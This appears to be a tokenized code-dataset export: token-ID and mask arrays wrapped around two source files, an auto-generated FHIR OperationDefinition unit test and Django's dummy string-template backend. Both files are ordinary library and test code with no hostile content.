[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
all-of-us/raw-data-repository
rdr_service/lib_fhir/fhirclient_1_0_6/models/operationdefinition_tests.py
1
3076
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Generated from FHIR 1.0.2.7202 on 2016-06-23. # 2016, SMART Health IT. import io import json import os import unittest from . import operationdefinition from .fhirdate import FHIRDate class OperationDefinitionTests(unittest.TestCase): def instantiate_from(self, filename): datadir = os.environ.get('FHIR_UNITTEST_DATADIR') or '' with io.open(os.path.join(datadir, filename), 'r', encoding='utf-8') as handle: js = json.load(handle) self.assertEqual("OperationDefinition", js["resourceType"]) return operationdefinition.OperationDefinition(js) def testOperationDefinition1(self): inst = self.instantiate_from("operationdefinition-example.json") self.assertIsNotNone(inst, "Must have instantiated a OperationDefinition instance") self.implOperationDefinition1(inst) js = inst.as_json() self.assertEqual("OperationDefinition", js["resourceType"]) inst2 = operationdefinition.OperationDefinition(js) self.implOperationDefinition1(inst2) def implOperationDefinition1(self, inst): self.assertEqual(inst.code, "populate") self.assertEqual(inst.contact[0].name, "System Administrator") self.assertEqual(inst.contact[0].telecom[0].system, "email") self.assertEqual(inst.contact[0].telecom[0].value, "beep@coyote.acme.com") self.assertEqual(inst.date.date, FHIRDate("2015-08-04").date) self.assertEqual(inst.date.as_json(), "2015-08-04") self.assertEqual(inst.description, "Limited implementation of the Populate Questionnaire implemenation") self.assertEqual(inst.id, "example") self.assertTrue(inst.instance) self.assertEqual(inst.kind, "operation") self.assertEqual(inst.name, "Populate Questionnaire") self.assertEqual(inst.notes, "Only implemented for Labs and Medications so far") self.assertEqual(inst.parameter[0].max, "1") self.assertEqual(inst.parameter[0].min, 1) self.assertEqual(inst.parameter[0].name, "subject") self.assertEqual(inst.parameter[0].type, "Reference") self.assertEqual(inst.parameter[0].use, "in") self.assertEqual(inst.parameter[1].documentation, "The partially (or fully)-populated set of answers for the specified Questionnaire") self.assertEqual(inst.parameter[1].max, "1") self.assertEqual(inst.parameter[1].min, 1) self.assertEqual(inst.parameter[1].name, "return") self.assertEqual(inst.parameter[1].type, "QuestionnaireResponse") self.assertEqual(inst.parameter[1].use, "out") self.assertEqual(inst.publisher, "Acme Healthcare Services") self.assertEqual(inst.status, "draft") self.assertFalse(inst.system) self.assertEqual(inst.text.status, "generated") self.assertEqual(inst.type[0], "Questionnaire") self.assertEqual(inst.url, "http://h7.org/fhir/OperationDefinition/example") self.assertEqual(inst.version, "B")
bsd-3-clause
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 221, 17065, 687, 481, 40, 3927, 413, 14, 16, 14, 18, 14, 2819, 996, 641, 7800, 13, 1690, 13, 1789, 14, 199, 3, 221, 7800, 12, 2389, 2294, 5311, 6130, 473, 52, 14, 421, 199, 646, 5890, 199, 646, 2022, 199, 646, 747, 199, 646, 2882, 199, 199, 504, 1275, 492, 3439, 7463, 199, 504, 1275, 12853, 723, 602, 492, 481, 40, 3927, 2506, 421, 199, 533, 17954, 10701, 2925, 8, 2796, 14, 1746, 304, 272, 347, 17321, 63, 504, 8, 277, 12, 1788, 304, 267, 666, 694, 275, 747, 14, 2314, 14, 362, 360, 32259, 3927, 63, 15505, 2864, 63, 6521, 1554, 3927, 358, 503, 2125, 267, 543, 5890, 14, 1490, 8, 736, 14, 515, 14, 904, 8, 18259, 12, 1788, 395, 283, 82, 297, 2644, 534, 1624, 13, 24, 358, 465, 2429, 26, 288, 8586, 275, 2022, 14, 912, 8, 2479, 9, 288, 291, 14, 629, 480, 6044, 10701, 401, 8586, 905, 1927, 804, 3135, 267, 372, 3439, 7463, 14, 6044, 10701, 8, 3596, 9, 2286, 347, 511, 6044, 10701, 17, 8, 277, 304, 267, 2727, 275, 291, 14, 3615, 18973, 63, 504, 480, 5735, 7463, 13, 2694, 14, 1001, 531, 267, 291, 14, 10389, 8, 3615, 12, 298, 13757, 1172, 17544, 282, 17954, 10701, 1256, 531, 267, 291, 14, 5472, 6044, 10701, 17, 8, 3615, 9, 2728, 8586, 275, 2727, 14, 305, 63, 1001, 342, 267, 291, 14, 629, 480, 6044, 10701, 401, 8586, 905, 1927, 804, 3135, 267, 2727, 18, 275, 3439, 7463, 14, 6044, 10701, 8, 3596, 9, 267, 291, 14, 5472, 6044, 10701, 17, 8, 3615, 18, 9, 2286, 347, 11512, 6044, 10701, 17, 8, 277, 12, 2727, 304, 267, 291, 14, 629, 8, 3615, 14, 600, 12, 298, 13817, 531, 267, 291, 14, 629, 8, 3615, 14, 7811, 59, 16, 1055, 354, 12, 298, 3989, 30660, 531, 267, 291, 14, 629, 8, 3615, 14, 7811, 59, 16, 1055, 15253, 957, 59, 16, 1055, 2253, 12, 298, 2123, 531, 267, 291, 14, 629, 8, 3615, 14, 7811, 59, 16, 1055, 15253, 957, 59, 16, 1055, 585, 12, 298, 66, 7840, 32, 331, 89, 1583, 14, 18107, 14, 957, 531, 267, 291, 14, 629, 8, 3615, 14, 602, 14, 602, 12, 481, 40, 3927, 2506, 480, 7806, 13, 2036, 13, 966, 3471, 602, 9, 267, 291, 14, 629, 8, 3615, 14, 602, 14, 305, 63, 1001, 1062, 298, 7806, 13, 2036, 13, 966, 531, 267, 291, 14, 629, 8, 3615, 14, 1802, 12, 298, 7219, 5703, 4514, 402, 314, 31731, 21421, 3540, 3621, 2456, 1410, 425, 531, 267, 291, 14, 629, 8, 3615, 14, 344, 12, 298, 2694, 531, 267, 291, 14, 1815, 8, 3615, 14, 842, 9, 267, 291, 14, 629, 8, 3615, 14, 5091, 12, 298, 5735, 531, 267, 291, 14, 629, 8, 3615, 14, 354, 12, 298, 9606, 5434, 21421, 3540, 3621, 531, 267, 291, 14, 629, 8, 3615, 14, 5983, 12, 298, 5903, 6366, 367, 491, 2101, 436, 3194, 21171, 83, 880, 12474, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 16, 1055, 988, 12, 298, 17, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 16, 1055, 827, 12, 413, 9, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 16, 1055, 354, 12, 298, 5875, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 16, 1055, 466, 12, 298, 5083, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 16, 1055, 1180, 12, 298, 262, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 17, 1055, 9970, 12, 298, 1918, 25172, 334, 269, 9999, 7216, 21440, 663, 402, 17133, 367, 314, 2013, 21421, 3540, 3621, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 17, 1055, 988, 12, 298, 17, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 17, 1055, 827, 12, 413, 9, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 17, 1055, 354, 12, 298, 1107, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 17, 1055, 466, 12, 298, 16778, 3540, 3621, 2364, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 17, 1055, 1180, 12, 298, 548, 531, 267, 291, 14, 629, 8, 3615, 14, 12789, 12, 298, 1945, 278, 5311, 6130, 28654, 21813, 531, 267, 291, 14, 629, 8, 3615, 14, 1205, 12, 298, 7185, 531, 267, 291, 14, 3334, 8, 3615, 14, 2253, 9, 267, 291, 14, 629, 8, 3615, 14, 505, 14, 1205, 12, 298, 10176, 531, 267, 291, 14, 629, 8, 3615, 14, 466, 59, 16, 467, 298, 16778, 3540, 3621, 531, 267, 291, 14, 629, 8, 3615, 14, 633, 12, 298, 1014, 921, 72, 23, 14, 1308, 15, 12853, 723, 15, 6044, 10701, 15, 2694, 531, 267, 291, 14, 629, 8, 3615, 14, 1023, 12, 298, 34, 531, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 221, 17065, 687, 481, 40, 3927, 413, 14, 16, 14, 18, 14, 2819, 996, 641, 7800, 13, 1690, 13, 1789, 14, 199, 3, 221, 7800, 12, 2389, 2294, 5311, 6130, 473, 52, 14, 421, 199, 646, 5890, 199, 646, 2022, 199, 646, 747, 199, 646, 2882, 199, 199, 504, 1275, 492, 3439, 7463, 199, 504, 1275, 12853, 723, 602, 492, 481, 40, 3927, 2506, 421, 199, 533, 17954, 10701, 2925, 8, 2796, 14, 1746, 304, 272, 347, 17321, 63, 504, 8, 277, 12, 1788, 304, 267, 666, 694, 275, 747, 14, 2314, 14, 362, 360, 32259, 3927, 63, 15505, 2864, 63, 6521, 1554, 3927, 358, 503, 2125, 267, 543, 5890, 14, 1490, 8, 736, 14, 515, 14, 904, 8, 18259, 12, 1788, 395, 283, 82, 297, 2644, 534, 1624, 13, 24, 358, 465, 2429, 26, 288, 8586, 275, 2022, 14, 912, 8, 2479, 9, 288, 291, 14, 629, 480, 6044, 10701, 401, 8586, 905, 1927, 804, 3135, 267, 372, 3439, 7463, 14, 6044, 10701, 8, 3596, 9, 2286, 347, 511, 6044, 10701, 17, 8, 277, 304, 267, 2727, 275, 291, 14, 3615, 18973, 63, 504, 480, 5735, 7463, 13, 2694, 14, 1001, 531, 267, 291, 14, 10389, 8, 3615, 12, 298, 13757, 1172, 17544, 282, 17954, 10701, 1256, 531, 267, 291, 14, 5472, 6044, 10701, 17, 8, 3615, 9, 2728, 8586, 275, 2727, 14, 305, 63, 1001, 342, 267, 291, 14, 629, 480, 6044, 10701, 401, 8586, 905, 1927, 804, 3135, 267, 2727, 18, 275, 3439, 7463, 14, 6044, 10701, 8, 3596, 9, 267, 291, 14, 5472, 6044, 10701, 17, 8, 3615, 18, 9, 2286, 347, 11512, 6044, 10701, 17, 8, 277, 12, 2727, 304, 267, 291, 14, 629, 8, 3615, 14, 600, 12, 298, 13817, 531, 267, 291, 14, 629, 8, 3615, 14, 7811, 59, 16, 1055, 354, 12, 298, 3989, 30660, 531, 267, 291, 14, 629, 8, 3615, 14, 7811, 59, 16, 1055, 15253, 957, 59, 16, 1055, 2253, 12, 298, 2123, 531, 267, 291, 14, 629, 8, 3615, 14, 7811, 59, 16, 1055, 15253, 957, 59, 16, 1055, 585, 12, 298, 66, 7840, 32, 331, 89, 1583, 14, 18107, 14, 957, 531, 267, 291, 14, 629, 8, 3615, 14, 602, 14, 602, 12, 481, 40, 3927, 2506, 480, 7806, 13, 2036, 13, 966, 3471, 602, 9, 267, 291, 14, 629, 8, 3615, 14, 602, 14, 305, 63, 1001, 1062, 298, 7806, 13, 2036, 13, 966, 531, 267, 291, 14, 629, 8, 3615, 14, 1802, 12, 298, 7219, 5703, 4514, 402, 314, 31731, 21421, 3540, 3621, 2456, 1410, 425, 531, 267, 291, 14, 629, 8, 3615, 14, 344, 12, 298, 2694, 531, 267, 291, 14, 1815, 8, 3615, 14, 842, 9, 267, 291, 14, 629, 8, 3615, 14, 5091, 12, 298, 5735, 531, 267, 291, 14, 629, 8, 3615, 14, 354, 12, 298, 9606, 5434, 21421, 3540, 3621, 531, 267, 291, 14, 629, 8, 3615, 14, 5983, 12, 298, 5903, 6366, 367, 491, 2101, 436, 3194, 21171, 83, 880, 12474, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 16, 1055, 988, 12, 298, 17, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 16, 1055, 827, 12, 413, 9, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 16, 1055, 354, 12, 298, 5875, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 16, 1055, 466, 12, 298, 5083, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 16, 1055, 1180, 12, 298, 262, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 17, 1055, 9970, 12, 298, 1918, 25172, 334, 269, 9999, 7216, 21440, 663, 402, 17133, 367, 314, 2013, 21421, 3540, 3621, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 17, 1055, 988, 12, 298, 17, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 17, 1055, 827, 12, 413, 9, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 17, 1055, 354, 12, 298, 1107, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 17, 1055, 466, 12, 298, 16778, 3540, 3621, 2364, 531, 267, 291, 14, 629, 8, 3615, 14, 5329, 59, 17, 1055, 1180, 12, 298, 548, 531, 267, 291, 14, 629, 8, 3615, 14, 12789, 12, 298, 1945, 278, 5311, 6130, 28654, 21813, 531, 267, 291, 14, 629, 8, 3615, 14, 1205, 12, 298, 7185, 531, 267, 291, 14, 3334, 8, 3615, 14, 2253, 9, 267, 291, 14, 629, 8, 3615, 14, 505, 14, 1205, 12, 298, 10176, 531, 267, 291, 14, 629, 8, 3615, 14, 466, 59, 16, 467, 298, 16778, 3540, 3621, 531, 267, 291, 14, 629, 8, 3615, 14, 633, 12, 298, 1014, 921, 72, 23, 14, 1308, 15, 12853, 723, 15, 6044, 10701, 15, 2694, 531, 267, 291, 14, 629, 8, 3615, 14, 1023, 12, 298, 34, 531, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
unaizalakain/django
django/template/backends/dummy.py
480
2037
# Since this package contains a "django" module, this is required on Python 2. from __future__ import absolute_import import errno import io import string from django.conf import settings from django.core.exceptions import ImproperlyConfigured from django.template import Origin, TemplateDoesNotExist from django.utils.html import conditional_escape from .base import BaseEngine from .utils import csrf_input_lazy, csrf_token_lazy class TemplateStrings(BaseEngine): app_dirname = 'template_strings' def __init__(self, params): params = params.copy() options = params.pop('OPTIONS').copy() if options: raise ImproperlyConfigured( "Unknown options: {}".format(", ".join(options))) super(TemplateStrings, self).__init__(params) def from_string(self, template_code): return Template(template_code) def get_template(self, template_name): tried = [] for template_file in self.iter_template_filenames(template_name): try: with io.open(template_file, encoding=settings.FILE_CHARSET) as fp: template_code = fp.read() except IOError as e: if e.errno == errno.ENOENT: tried.append(( Origin(template_file, template_name, self), 'Source does not exist', )) continue raise return Template(template_code) else: raise TemplateDoesNotExist(template_name, tried=tried, backend=self) class Template(string.Template): def render(self, context=None, request=None): if context is None: context = {} else: context = {k: conditional_escape(v) for k, v in context.items()} if request is not None: context['csrf_input'] = csrf_input_lazy(request) context['csrf_token'] = csrf_token_lazy(request) return self.safe_substitute(context)
bsd-3-clause
[ 3, 9336, 642, 2559, 3509, 282, 298, 1176, 2, 859, 12, 642, 365, 1415, 641, 2018, 499, 14, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 646, 7554, 199, 646, 5890, 199, 646, 1059, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 3924, 492, 11897, 199, 504, 1639, 14, 1160, 492, 31534, 12, 27193, 199, 504, 1639, 14, 1208, 14, 1360, 492, 12303, 63, 3765, 199, 199, 504, 1275, 1095, 492, 3523, 8524, 199, 504, 1275, 1208, 492, 19213, 63, 1210, 63, 6395, 12, 19213, 63, 1418, 63, 6395, 421, 199, 533, 5458, 12672, 8, 1563, 8524, 304, 339, 1145, 63, 3475, 275, 283, 1160, 63, 5465, 7, 339, 347, 636, 826, 721, 277, 12, 1862, 304, 267, 1862, 275, 1862, 14, 1574, 342, 267, 1511, 275, 1862, 14, 1935, 360, 8808, 1959, 1574, 342, 267, 340, 1511, 26, 288, 746, 11897, 8, 355, 298, 5912, 1511, 26, 8352, 908, 11854, 3680, 904, 8, 1419, 1724, 267, 1613, 8, 4231, 12672, 12, 291, 2843, 826, 721, 1162, 9, 339, 347, 687, 63, 875, 8, 277, 12, 1978, 63, 600, 304, 267, 372, 5458, 8, 1160, 63, 600, 9, 339, 347, 664, 63, 1160, 8, 277, 12, 1978, 63, 354, 304, 267, 16416, 275, 942, 267, 367, 1978, 63, 493, 315, 291, 14, 1661, 63, 1160, 63, 10309, 8, 1160, 63, 354, 304, 288, 862, 26, 355, 543, 5890, 14, 1490, 8, 1160, 63, 493, 12, 2644, 29, 1751, 14, 3817, 63, 23969, 9, 465, 4090, 26, 490, 1978, 63, 600, 275, 4090, 14, 739, 342, 288, 871, 5925, 465, 325, 26, 355, 340, 325, 14, 7931, 508, 7554, 14, 20465, 26, 490, 16416, 14, 740, 1332, 717, 31534, 8, 1160, 63, 493, 12, 1978, 63, 354, 12, 291, 395, 717, 283, 2980, 1630, 440, 2187, 297, 490, 5082, 490, 1980, 355, 746, 953, 372, 5458, 8, 1160, 63, 600, 9, 398, 587, 26, 288, 746, 27193, 8, 1160, 63, 354, 12, 16416, 29, 599, 379, 12, 4865, 29, 277, 9, 421, 199, 533, 5458, 8, 875, 14, 4231, 304, 339, 347, 3795, 8, 277, 12, 1067, 29, 403, 12, 1056, 29, 403, 304, 267, 340, 1067, 365, 488, 26, 288, 1067, 275, 1052, 267, 587, 26, 288, 1067, 275, 469, 75, 26, 12303, 63, 3765, 8, 86, 9, 367, 1022, 12, 373, 315, 1067, 14, 1744, 12737, 267, 340, 1056, 365, 440, 488, 26, 288, 1067, 459, 10088, 63, 1210, 418, 275, 19213, 63, 1210, 63, 6395, 8, 1069, 9, 288, 1067, 459, 10088, 63, 1418, 418, 275, 19213, 63, 1418, 63, 6395, 8, 1069, 9, 267, 372, 291, 14, 3489, 63, 20374, 8, 1100, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
